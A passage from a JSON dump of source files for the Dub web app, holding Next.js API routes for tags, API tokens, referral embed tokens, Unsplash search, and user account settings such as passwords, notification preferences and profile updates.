headers }) => {\n    const tagsCount = await prisma.tag.count({\n      where: {\n        projectId: workspace.id,\n      },\n    });\n\n    if (tagsCount >= workspace.tagsLimit) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: exceededLimitError({\n          plan: workspace.plan,\n          limit: workspace.tagsLimit,\n          type: \"tags\",\n        }),\n      });\n    }\n\n    const { tag, color, name } = createTagBodySchema.parse(await req.json());\n\n    const existingTag = await prisma.tag.findFirst({\n      where: {\n        projectId: workspace.id,\n        name: name || tag,\n      },\n    });\n\n    if (existingTag) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"A tag with that name already exists.\",\n      });\n    }\n\n    const response = await prisma.tag.create({\n      data: {\n        id: createId({ prefix: \"tag_\" }),\n        name: tag || name!,\n        color: color || randomBadgeColor(),\n        projectId: workspace.id,\n      },\n    });\n\n    return NextResponse.json(LinkTagSchema.parse(response), {\n      headers,\n      status: 201,\n    });\n  },\n  {\n    requiredPermissions: [\"tags.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/tokens/[id]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { validateScopesForRole } from \"@/lib/api/tokens/scopes\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { tokenCache } from \"@/lib/auth/token-cache\";\nimport { tokenSchema, updateTokenSchema } from \"@/lib/zod/schemas/token\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/tokens/:id - get info about a specific token\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const token = await prisma.restrictedToken.findUnique({\n      where: {\n        id: params.id,\n        projectId: workspace.id,\n      },\n      select: {\n        id: true,\n        name: true,\n        partialKey: true,\n        scopes: true,\n        lastUsed: true,\n        createdAt: true,\n        updatedAt: true,\n        user: {\n          select: {\n            id: true,\n            name: true,\n            image: true,\n            isMachine: true,\n          },\n        },\n      },\n    });\n\n    if (!token) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Token with id ${params.id} not found.`,\n      });\n    }\n\n    return NextResponse.json(tokenSchema.parse(token));\n  },\n  {\n    requiredPermissions: [\"tokens.read\"],\n  },\n);\n\n// PATCH /api/tokens/:id - update a specific token\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const { name, scopes } = updateTokenSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const { role } = await prisma.projectUsers.findUniqueOrThrow({\n      where: {\n        userId_projectId: {\n          userId: session.user.id,\n          projectId: workspace.id,\n        },\n      },\n      select: {\n        role: true,\n      },\n    });\n\n    if (!validateScopesForRole(scopes, role)) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Some of the given scopes are not available for your role.\",\n      });\n    }\n\n    const token = await prisma.restrictedToken.update({\n      where: {\n        id: params.id,\n        projectId: workspace.id,\n      },\n      data: {\n        ...(name && { name }),\n        ...(scopes && { scopes: [...new Set(scopes)].join(\" \") }),\n      },\n      include: {\n        user: true,\n      },\n    });\n\n    // update tokens cache\n    waitUntil(\n      tokenCache.set({\n        hashedKey: token.hashedKey,\n        token,\n      }),\n    );\n\n    return NextResponse.json(tokenSchema.parse(token));\n  },\n  {\n    requiredPermissions: [\"tokens.write\"],\n  },\n);\n\n// DELETE /api/tokens/:id - delete a specific token\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const token = await prisma.restrictedToken.delete({\n      where: {\n        id: params.id,\n        projectId: workspace.id,\n      },\n      select: {\n        id: true,\n        hashedKey: true,\n        user: {\n          select: {\n            id: true,\n            isMachine: true,\n          },\n        },\n      },\n    });\n\n    if (token.user.isMachine) {\n      await prisma.user.delete({\n        where: {\n          id: token.user.id,\n        },\n      });\n    }\n\n    // delete tokens cache\n    waitUntil(\n      tokenCache.delete({\n        hashedKey: token.hashedKey,\n      }),\n    );\n\n    return NextResponse.json({\n      id: token.id,\n    });\n  },\n  {\n    requiredPermissions: [\"tokens.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/tokens/embed/referrals/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { createAndEnrollPartner } from \"@/lib/api/partners/create-and-enroll-partner\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { referralsEmbedToken } from \"@/lib/embed/referrals/token-class\";\nimport {\n  createReferralsEmbedTokenSchema,\n  ReferralsEmbedTokenSchema,\n} from \"@/lib/zod/schemas/token\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollment } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/tokens/embed/referrals - create a new embed token for the given partner/tenant\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      partnerId,\n      tenantId,\n      partner: partnerProps,\n    } = createReferralsEmbedTokenSchema.parse(await parseRequestBody(req));\n\n    const finalTenantId =\n      tenantId || partnerProps?.tenantId || partnerProps?.linkProps?.tenantId;\n\n    let programEnrollment: Pick<ProgramEnrollment, \"partnerId\"> | null = null;\n\n    // find the program enrollment for the given partnerId or tenantId\n    if (partnerId || finalTenantId) {\n      programEnrollment = await prisma.programEnrollment.findUnique({\n        where: partnerId\n          ? { partnerId_programId: { partnerId, programId } }\n          : { tenantId_programId: { tenantId: finalTenantId!, programId } },\n        select: {\n          partnerId: true,\n        },\n      });\n    }\n\n    // if there is no programEnrollment associated with the partnerId or tenantId, and partnerProps are provided\n    // check if the partner exists based on the email – if not, create them, if yes, enroll them\n    if (!programEnrollment && partnerProps) {\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        select: {\n          id: true,\n          workspaceId: true,\n          defaultFolderId: true,\n          domain: true,\n          url: true,\n          defaultGroupId: true,\n        },\n      });\n\n      const partner = await prisma.partner.findUnique({\n        where: {\n          email: partnerProps.email,\n        },\n        include: {\n          programs: {\n            where: {\n              programId,\n            },\n          },\n        },\n      });\n\n      // partner does not exist, we need to create them OR\n      // partner exists but is not enrolled in the program, we need to enroll them\n      if (!partner || partner.programs.length === 0) {\n        const { linkProps: link, ...partner } = partnerProps;\n\n        const enrolledPartner = await createAndEnrollPartner({\n          workspace,\n          program,\n          partner: {\n            ...partner,\n            ...(finalTenantId && { tenantId: finalTenantId }),\n          },\n          link: {\n            ...link,\n            ...(finalTenantId && { tenantId: finalTenantId }),\n          },\n          userId: session.user.id,\n        });\n\n        programEnrollment = {\n          partnerId: enrolledPartner.id,\n        };\n      } else {\n        programEnrollment = {\n          partnerId: partner.programs[0].partnerId,\n        };\n      }\n    }\n\n    if (!programEnrollment) {\n      throw new DubApiError({\n        message: \"The partner is not enrolled in this program.\",\n        code: \"not_found\",\n      });\n    }\n\n    const response = await referralsEmbedToken.create({\n      programId,\n      partnerId: programEnrollment.partnerId,\n    });\n\n    return NextResponse.json(ReferralsEmbedTokenSchema.parse(response), {\n      status: 201,\n    });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/tokens/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { scopesToName, validateScopesForRole } from \"@/lib/api/tokens/scopes\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { hashToken, withWorkspace } from \"@/lib/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { createTokenSchema, tokenSchema } from \"@/lib/zod/schemas/token\";\nimport { sendEmail } from \"@dub/email\";\nimport APIKeyCreated from \"@dub/email/templates/api-key-created\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma, User } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst MAX_WORKSPACE_TOKENS = 100;\n\nconst getTokensQuerySchema = z.object({\n  userId: z.string().optional(),\n});\n\n// GET /api/tokens - get all tokens for a workspace\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const { userId } = getTokensQuerySchema.parse(searchParams);\n\n    const tokens = await prisma.restrictedToken.findMany({\n      where: {\n        projectId: workspace.id,\n        installationId: null,\n        ...(userId && {\n          userId,\n        }),\n      },\n      select: {\n        id: true,\n        name: true,\n        partialKey: true,\n        scopes: true,\n        lastUsed: true,\n        createdAt: true,\n        updatedAt: true,\n        user: {\n          select: {\n            id: true,\n            name: true,\n            image: true,\n            isMachine: true,\n          },\n        },\n      },\n      orderBy: [{ lastUsed: \"desc\" }, { createdAt: \"desc\" }],\n      take: 100,\n    });\n\n    return NextResponse.json(tokenSchema.array().parse(tokens));\n  },\n  {\n    requiredPermissions: [\"tokens.read\"],\n  },\n);\n\n// POST /api/tokens – create a new token for a workspace\nexport const POST = withWorkspace(\n  async ({ req, session, workspace }) => {\n    const { success } = await ratelimit(1, \"5 s\").limit(\n      `create-tokens:${workspace.id}`,\n    );\n\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message: \"Too many requests. Please try again later.\",\n      });\n    }\n\n    const { name, isMachine, scopes } = createTokenSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const role = workspace.users[0].role;\n\n    // Only workspace owners can create machine users\n    if (isMachine && role !== \"owner\") {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Only workspace owners can create machine users.\",\n      });\n    }\n\n    if (!validateScopesForRole(scopes || [], role)) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Some of the given scopes are not available for your role.\",\n      });\n    }\n\n    // Create token\n    const token = `dub_${nanoid(24)}`;\n    const hashedKey = await hashToken(token);\n    const partialKey = `${token.slice(0, 3)}...${token.slice(-4)}`;\n\n    await prisma.$transaction(\n      async (tx) => {\n        const totalTokens = await tx.restrictedToken.count({\n          where: {\n            projectId: workspace.id,\n            installationId: null, // Skip OAuth installations tokens\n          },\n        });\n\n        if (totalTokens >= MAX_WORKSPACE_TOKENS) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message: `You've reached your limit of ${MAX_WORKSPACE_TOKENS} API keys for this workspace. Please contact support to increase this limit.`,\n          });\n        }\n\n        let machineUser: Pick<User, \"id\"> | null = null;\n\n        // Create machine user if needed\n        if (isMachine) {\n          machineUser = await tx.user.create({\n            data: {\n              id: createId({ prefix: \"user_\" }),\n              name: `${generateRandomName()} (Machine User)`,\n              isMachine: true,\n            },\n            select: {\n              id: true,\n            },\n          });\n\n          // Add machine user to workspace\n          await tx.projectUsers.create({\n            data: {\n              role: \"member\",\n              userId: machineUser.id,\n              projectId: workspace.id,\n            },\n          });\n        }\n\n        return await tx.restrictedToken.create({\n          data: {\n            name,\n            hashedKey,\n            partialKey,\n            userId: isMachine ? machineUser?.id! : session.user.id,\n            projectId: workspace.id,\n            scopes:\n              scopes && scopes.length > 0\n                ? [...new Set(scopes)].join(\" \")\n                : null,\n          },\n        });\n      },\n      {\n        isolationLevel: Prisma.TransactionIsolationLevel.ReadUncommitted,\n        maxWait: 5000,\n        timeout: 5000,\n      },\n    );\n\n    waitUntil(\n      sendEmail({\n        to: session.user.email,\n        subject: `A new API key has been created for your workspace ${workspace.name} on Dub`,\n        react: APIKeyCreated({\n          email: session.user.email,\n          token: {\n            name,\n            type: scopesToName(scopes || []).name,\n            permissions: scopesToName(scopes || []).description,\n          },\n          workspace: {\n            name: workspace.name,\n            slug: workspace.slug,\n          },\n        }),\n      }),\n    );\n\n    return NextResponse.json({ token });\n  },\n  {\n    requiredPermissions: [\"tokens.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/unsplash/download/route.ts",
    "content": "import { NextResponse } from \"next/server\";\nimport { unsplash } from \"../utils\";\n\nexport async function POST(req: Request) {\n  const { url } = await req.json();\n  if (!url) return new Response(\"Missing url\", { status: 400 });\n\n  const response = await unsplash.photos.trackDownload({\n    downloadLocation: url,\n  });\n\n  return NextResponse.json(response);\n}\n"
  },
  {
    "path": "apps/web/app/api/unsplash/search/route.ts",
    "content": "import { ratelimit } from \"@/lib/upstash\";\nimport { ipAddress } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport { unsplash } from \"../utils\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(req: Request) {\n  const searchParams = new URL(req.url).searchParams;\n  const query = searchParams.get(\"query\");\n\n  if (!query) {\n    return new Response(\"Missing query\", { status: 400 });\n  }\n\n  if (!process.env.UNSPLASH_ACCESS_KEY) {\n    return new Response(\"Unsplash API key not found\", { status: 400 });\n  }\n\n  const ip = ipAddress(req);\n  const { success } = await ratelimit(10, \"10 s\").limit(`unsplash:${ip}`);\n  if (!success) {\n    return new Response(\"Don't DDoS me pls 🥺\", { status: 429 });\n  }\n\n  return unsplash.search\n    .getPhotos({\n      query,\n    })\n    .then((result) => {\n      if (result.errors) {\n        // handle error here\n        console.log(\"error occurred: \", result.errors[0]);\n        return new Response(\"Unsplash error\", { status: 400 });\n      } else {\n        const data = result.response;\n        return NextResponse.json(data.results);\n      }\n    })\n    .catch((err) => {\n      console.log(\"err\", err);\n      return new Response(\"Unsplash rate limit exceeded\", { status: 429 });\n    });\n}\n"
  },
  {
    "path": "apps/web/app/api/unsplash/utils.ts",
    "content": "import { createApi } from \"unsplash-js\";\n\nexport const unsplash = createApi({\n  accessKey: process.env.UNSPLASH_ACCESS_KEY as string,\n});\n"
  },
  {
    "path": "apps/web/app/api/user/notification-preferences/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { NOTIFICATION_PREFERENCE_TYPES } from \"@/lib/constants/notification-preferences\";\nimport { verifyUnsubscribeToken } from \"@/lib/email/unsubscribe-token\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst requestSchema = z.object({\n  token: z.string(),\n  preferences: z.record(\n    z.enum(NOTIFICATION_PREFERENCE_TYPES as unknown as [string, ...string[]]),\n    z.boolean(),\n  ),\n});\n\n// GET /api/user/notification-preferences?token=... – get notification preferences via unsubscribe link\nexport async function GET(request: NextRequest) {\n  try {\n    await ratelimitOrThrow(request, \"notification-preferences\");\n\n    const { searchParams } = new URL(request.url);\n    const token = searchParams.get(\"token\");\n\n    if (!token) {\n      return NextResponse.json({ error: \"Token is required\" }, { status: 400 });\n    }\n\n    // Verify the token and extract the email\n    const email = verifyUnsubscribeToken(token);\n\n    if (!email) {\n      return NextResponse.json(\n        { error: \"Invalid or expired token\" },\n        { status: 400 },\n      );\n    }\n\n    // Find the user by email\n    const user = await prisma.user.findUnique({\n      where: { email },\n      select: {\n        id: true,\n        notificationPreferences: {\n          select: {\n            dubLinks: true,\n            dubPartners: true,\n            partnerAccount: true,\n          },\n        },\n      },\n    });\n\n    if (!user) {\n      return NextResponse.json({ error: \"User not found\" }, { status: 404 });\n    }\n\n    // Return preferences directly (field names match schema)\n    const preferences = user.notificationPreferences\n      ? {\n          dubLinks: user.notificationPreferences.dubLinks,\n          dubPartners: user.notificationPreferences.dubPartners,\n          partnerAccount: user.notificationPreferences.partnerAccount,\n        }\n      : {\n          dubLinks: true,\n          dubPartners: true,\n          partnerAccount: true,\n        };\n\n    return NextResponse.json(preferences);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// POST /api/user/notification-preferences – update notification preferences via unsubscribe link\nexport async function POST(request: NextRequest) {\n  try {\n    await ratelimitOrThrow(request, \"notification-preferences\");\n\n    const body = await request.json();\n    const { token, preferences } = requestSchema.parse(body);\n\n    // Verify the token and extract the email\n    const email = verifyUnsubscribeToken(token);\n\n    if (!email) {\n      return NextResponse.json(\n        { error: \"Invalid or expired token\" },\n        { status: 400 },\n      );\n    }\n\n    // Find the user by email\n    const user = await prisma.user.findUnique({\n      where: { email },\n      select: {\n        id: true,\n        name: true,\n        email: true,\n        notificationPreferences: {\n          select: {\n            dubLinks: true,\n            dubPartners: true,\n            partnerAccount: true,\n          },\n        },\n      },\n    });\n\n    if (!user) {\n      return NextResponse.json({ error: \"User not found\" }, { status: 404 });\n    }\n\n    // Get existing preferences or use defaults\n    const existingPrefs = user.notificationPreferences || {\n      dubLinks: true,\n      dubPartners: true,\n      partnerAccount: true,\n    };\n\n    // Merge preferences with existing values (field names now match schema directly)\n    const updatedPrefs = {\n      dubLinks: preferences.dubLinks ?? existingPrefs.dubLinks,\n      dubPartners: preferences.dubPartners ?? existingPrefs.dubPartners,\n      partnerAccount:\n        preferences.partnerAccount ?? existingPrefs.partnerAccount,\n    };\n\n    // Update or create notification preferences using upsert pattern\n    await prisma.user.update({\n      where: { id: user.id },\n      data: {\n        notificationPreferences: {\n          upsert: {\n            create: updatedPrefs,\n            update: updatedPrefs,\n          },\n        },\n      },\n    });\n\n    // Return updated preferences\n    return NextResponse.json({\n      success: true,\n      preferences: updatedPrefs,\n    });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/user/password/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withSession } from \"@/lib/auth\";\nimport { hashPassword, validatePassword } from \"@/lib/auth/password\";\nimport { updatePasswordSchema } from \"@/lib/zod/schemas/auth\";\nimport { sendEmail } from \"@dub/email\";\nimport PasswordUpdated from \"@dub/email/templates/password-updated\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/user/password - updates the user's password\nexport const PATCH = withSession(async ({ req, session }) => {\n  const { currentPassword, newPassword } = updatePasswordSchema.parse(\n    await parseRequestBody(req),\n  );\n\n  const { passwordHash } = await prisma.user.findUniqueOrThrow({\n    where: {\n      id: session.user.id,\n    },\n    select: {\n      passwordHash: true,\n    },\n  });\n\n  if (!passwordHash) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"You don't have a password set. Please set a password first.\",\n    });\n  }\n\n  const passwordMatch = await validatePassword({\n    password: currentPassword,\n    passwordHash,\n  });\n\n  if (!passwordMatch) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"The password you entered is incorrect.\",\n    });\n  }\n\n  await Promise.all([\n    prisma.user.update({\n      where: {\n        id: session.user.id,\n      },\n      data: {\n        passwordHash: await hashPassword(newPassword),\n      },\n    }),\n\n    prisma.passwordResetToken.deleteMany({\n      where: {\n        identifier: session.user.email,\n      },\n    }),\n  ]);\n\n  // Send the email to inform the user that their password has been updated\n  waitUntil(\n    sendEmail({\n      subject: `Your ${process.env.NEXT_PUBLIC_APP_NAME} account password has been updated`,\n      to: session.user.email,\n      react: PasswordUpdated({\n        email: session.user.email,\n      }),\n    }),\n  );\n\n  return NextResponse.json({ ok: true });\n});\n"
  },
  {
    "path": "apps/web/app/api/user/referrals-token/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { dub } from \"@/lib/dub\";\nimport {\n  partnerHasEarnedCommissions,\n  partnerIsNotBanned,\n  type ProgramEnrollmentsForDiscoverability,\n} from \"@/lib/network/get-discoverability-requirements\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withSession(async ({ session }) => {\n  const user = await prisma.user.findUniqueOrThrow({\n    where: {\n      id: session.user.id,\n    },\n    include: {\n      partners: {\n        include: {\n          partner: {\n            include: {\n              programs: true,\n            },\n          },\n        },\n      },\n      projects: {\n        where: {\n          project: {\n            plan: {\n              not: \"free\",\n            },\n          },\n        },\n      },\n    },\n  });\n  const paidWorkspaces = user.projects.map((project) => project);\n\n  // for free users, need to do some extra checks\n  if (paidWorkspaces.length === 0) {\n    // for partners with free workspaces, they are only eligible if they have a good reputation\n    const programEnrollments = user.partners[0]\n      ? user.partners[0].partner.programs\n      : [];\n    if (\n      programEnrollments.length > 0 &&\n      !(\n        partnerHasEarnedCommissions(\n          programEnrollments as ProgramEnrollmentsForDiscoverability,\n        ) && partnerIsNotBanned(programEnrollments)\n      )\n    ) {\n      return NextResponse.json({ publicToken: null });\n    }\n\n    // for regular free users, don't allow them to join the referral program if they've just joined (within the last 30 days)\n    if (user.createdAt > new Date(Date.now() - 30 * 24 * 60 * 60 * 1000)) {\n      return NextResponse.json({ publicToken: null });\n    }\n  }\n\n  const { publicToken } = await dub.embedTokens.referrals({\n    tenantId: session.user.id,\n    partner: {\n      name: session.user.name || session.user.email,\n      email: session.user.email,\n      image: session.user.image || null,\n      tenantId: session.user.id,\n      groupId: \"grp_1K2QJWRQ917XX2YR5VHQ1RRC5\", // User Referrals group\n    },\n  });\n\n  return NextResponse.json({ publicToken });\n});\n"
  },
  {
    "path": "apps/web/app/api/user/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withSession } from \"@/lib/auth\";\nimport { confirmEmailChange } from \"@/lib/auth/confirm-email-change\";\nimport { storage } from \"@/lib/storage\";\nimport { uploadedImageSchema } from \"@/lib/zod/schemas/misc\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN,\n  APP_HOSTNAMES,\n  PARTNERS_DOMAIN,\n  R2_URL,\n  nanoid,\n  trim,\n} from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst updateUserSchema = z.object({\n  name: z.preprocess(trim, z.string().min(1).max(64)).optional(),\n  email: z.preprocess(trim, z.email()).optional(),\n  image: uploadedImageSchema.nullish(),\n  source: z.preprocess(trim, z.string().min(1).max(32)).optional(),\n  defaultWorkspace: z.preprocess(trim, z.string().min(1)).optional(),\n});\n\n// GET /api/user – get a specific user\nexport const GET = withSession(async ({ session }) => {\n  const [user, account] = await Promise.all([\n    prisma.user.findUnique({\n      where: {\n        id: session.user.id,\n      },\n      select: {\n        id: true,\n        name: true,\n        email: true,\n        image: true,\n        source: true,\n        defaultWorkspace: true,\n        defaultPartnerId: true,\n        passwordHash: true,\n        createdAt: true,\n      },\n    }),\n\n    prisma.account.findFirst({\n      where: {\n        userId: session.user.id,\n      },\n      select: {\n        provider: true,\n      },\n    }),\n  ]);\n\n  return NextResponse.json({\n    ...user,\n    provider: account?.provider,\n    hasPassword: user?.passwordHash !== null,\n    passwordHash: undefined,\n  });\n});\n\n// PATCH /api/user – edit a specific user\nexport const PATCH = withSession(async ({ req, session }) => {\n  let { name, email, image, source, defaultWorkspace } =\n    await updateUserSchema.parseAsync(await req.json());\n\n  if (image) {\n    const { url } = await storage.upload({\n      key: `avatars/${session.user.id}_${nanoid(7)}`,\n      body: image,\n    });\n    image = url;\n  }\n\n  if (defaultWorkspace) {\n    const workspaceUser = await prisma.projectUsers.findFirst({\n      where: {\n        userId: session.user.id,\n        project: {\n          slug: defaultWorkspace,\n        },\n      },\n    });\n\n    if (!workspaceUser) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `You don't have access to the workspace ${defaultWorkspace}.`,\n      });\n    }\n  }\n\n  // Verify email ownership if the email is being changed\n  if (email && email !== session.user.email) {\n    const userWithEmail = await prisma.user.findUnique({\n      where: {\n        email,\n      },\n    });\n\n    if (userWithEmail) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"Email is already in use.\",\n      });\n    }\n\n    const hostName = req.headers.get(\"host\") || \"\";\n\n    await confirmEmailChange({\n      email: session.user.email,\n      newEmail: email,\n      identifier: session.user.id,\n      hostName: APP_HOSTNAMES.has(hostName) ? APP_DOMAIN : PARTNERS_DOMAIN,\n    });\n  }\n\n  const response = await prisma.user.update({\n    where: {\n      id: session.user.id,\n    },\n    data: {\n      ...(name && { name }),\n      ...(image && { image }),\n      ...(source && { source }),\n      ...(defaultWorkspace && { defaultWorkspace }),\n    },\n  });\n\n  waitUntil(\n    (async () => {\n      // Delete only if a new image is uploaded and the old image exists\n      if (\n        image &&\n        session.user.image &&\n        session.user.image.startsWith(`${R2_URL}/avatars/${session.user.id}`)\n      ) {\n        await storage.delete({\n          key: session.user.image.replace(`${R2_URL}/`, \"\"),\n        });\n      }\n    })(),\n  );\n\n  return NextResponse.json(response);\n});\n\nexport const PUT = PATCH;\n\n// DELETE /api/user – delete a specific user\nexport const DELETE = withSession(async ({ session }) => {\n  const userIsOwnerOfWorkspaces = await prisma.projectUsers.findMany({\n    where: {\n      userId: session.user.id,\n      role: \"owner\",\n    },\n  });\n  if (userIsOwnerOfWorkspaces.length > 0) {\n    return new Response(\n      \"You must transfer ownership of your workspaces or delete them before you can delete your account.\",\n      { status: 422 },\n    );\n  } else {\n    const user = await prisma.user.delete({\n      where: {\n        id: session.user.id,\n      },\n    });\n    // if the user has a custom avatar and it is stored by their userId, delete it\n    if (\n      user.image &&\n      user.image.startsWith(`${R2_URL}/avatars/${session.user.id}`)\n    ) {\n      await storage.delete({ key: user.image.replace(`${R2_URL}/`, \"\") });\n    }\n    return NextResponse.json(user);\n  }\n});\n"
  },
  {
    "path": "apps/web/app/api/user/set-password/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withSession } from \"@/lib/auth\";\nimport { PASSWORD_RESET_TOKEN_EXPIRY } from \"@/lib/auth/constants\";\nimport { sendEmail } from \"@dub/email\";\nimport ResetPasswordLink from \"@dub/email/templates/reset-password-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { randomBytes } from \"crypto\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/user/set-password - set account password (for users who signed up with a OAuth provider)\nexport const POST = withSession(async ({ session }) => {\n  const user = await prisma.user.findFirst({\n    where: {\n      id: session.user.id,\n      isMachine: false,\n      passwordHash: null,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!user) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"You already have a password set. You can change it in your account settings.\",\n    });\n  }\n\n  const { token } = await prisma.passwordResetToken.create({\n    data: {\n      identifier: session.user.email,\n      token: randomBytes(32).toString(\"hex\"),\n      expires: new Date(Date.now() + PASSWORD_RESET_TOKEN_EXPIRY * 1000),\n    },\n  });\n\n  // Send email with password reset link\n  await sendEmail({\n    subject: `${process.env.NEXT_PUBLIC_APP_NAME}: Password reset instructions`,\n    to: session.user.email,\n    react: ResetPasswordLink({\n      email: session.user.email,\n      url: `${process.env.NEXTAUTH_URL}/auth/reset-password/${token}`,\n    }),\n  });\n\n  if (process.env.NODE_ENV === \"development\") {\n    console.info(\n      \"Password reset URL:\",\n      `${process.env.NEXTAUTH_URL}/auth/reset-password/${token}`,\n    );\n  }\n\n  return NextResponse.json({ ok: true });\n});\n"
  },
  {
    "path": "apps/web/app/api/user/tokens/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/user/tokens – get all tokens for a specific user\nexport const GET = withSession(async ({ session }) => {\n  const tokens = await prisma.token.findMany({\n    where: {\n      userId: session.user.id,\n    },\n    select: {\n      id: true,\n      name: true,\n      partialKey: true,\n      createdAt: true,\n      lastUsed: true,\n    },\n    orderBy: [\n      {\n        lastUsed: \"desc\",\n      },\n      {\n        createdAt: \"desc\",\n      },\n    ],\n  });\n  return NextResponse.json(tokens);\n});\n\n// DELETE /api/user/tokens – delete a token for a specific user\nexport const DELETE = withSession(async ({ searchParams, session }) => {\n  const { id } = searchParams;\n  const response = await prisma.token.delete({\n    where: {\n      id,\n      userId: session.user.id,\n    },\n  });\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/api/utm/[id]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { updateUTMTemplateBodySchema } from \"@/lib/zod/schemas/utm\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  constructURLFromUTMParams,\n  deepEqual,\n} from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/utm/[id] – update a UTM template\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace }) => {\n    const { id } = params;\n    const {\n      name,\n      utm_source,\n      utm_medium,\n      utm_campaign,\n      utm_term,\n      utm_content,\n      ref,\n    } = updateUTMTemplateBodySchema.parse(await req.json());\n\n    const template = await prisma.utmTemplate.findFirst({\n      where: {\n        id,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!template) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Template not found.\",\n      });\n    }\n\n    try {\n      const updatedTemplate = await prisma.utmTemplate.update({\n        where: {\n          id,\n          projectId: workspace.id,\n        },\n        data: {\n          name,\n          utm_source,\n          utm_medium,\n          utm_campaign,\n          utm_term,\n          utm_content,\n          ref,\n        },\n        include: {\n          partnerGroup: {\n            include: {\n              partnerGroupDefaultLinks: true,\n            },\n          },\n        },\n      });\n\n      const utmFieldsChanged = !deepEqual(\n        extractUtmParams(updatedTemplate),\n        extractUtmParams(template),\n      );\n\n      if (utmFieldsChanged) {\n        waitUntil(\n          (async () => {\n            const partnerGroup = 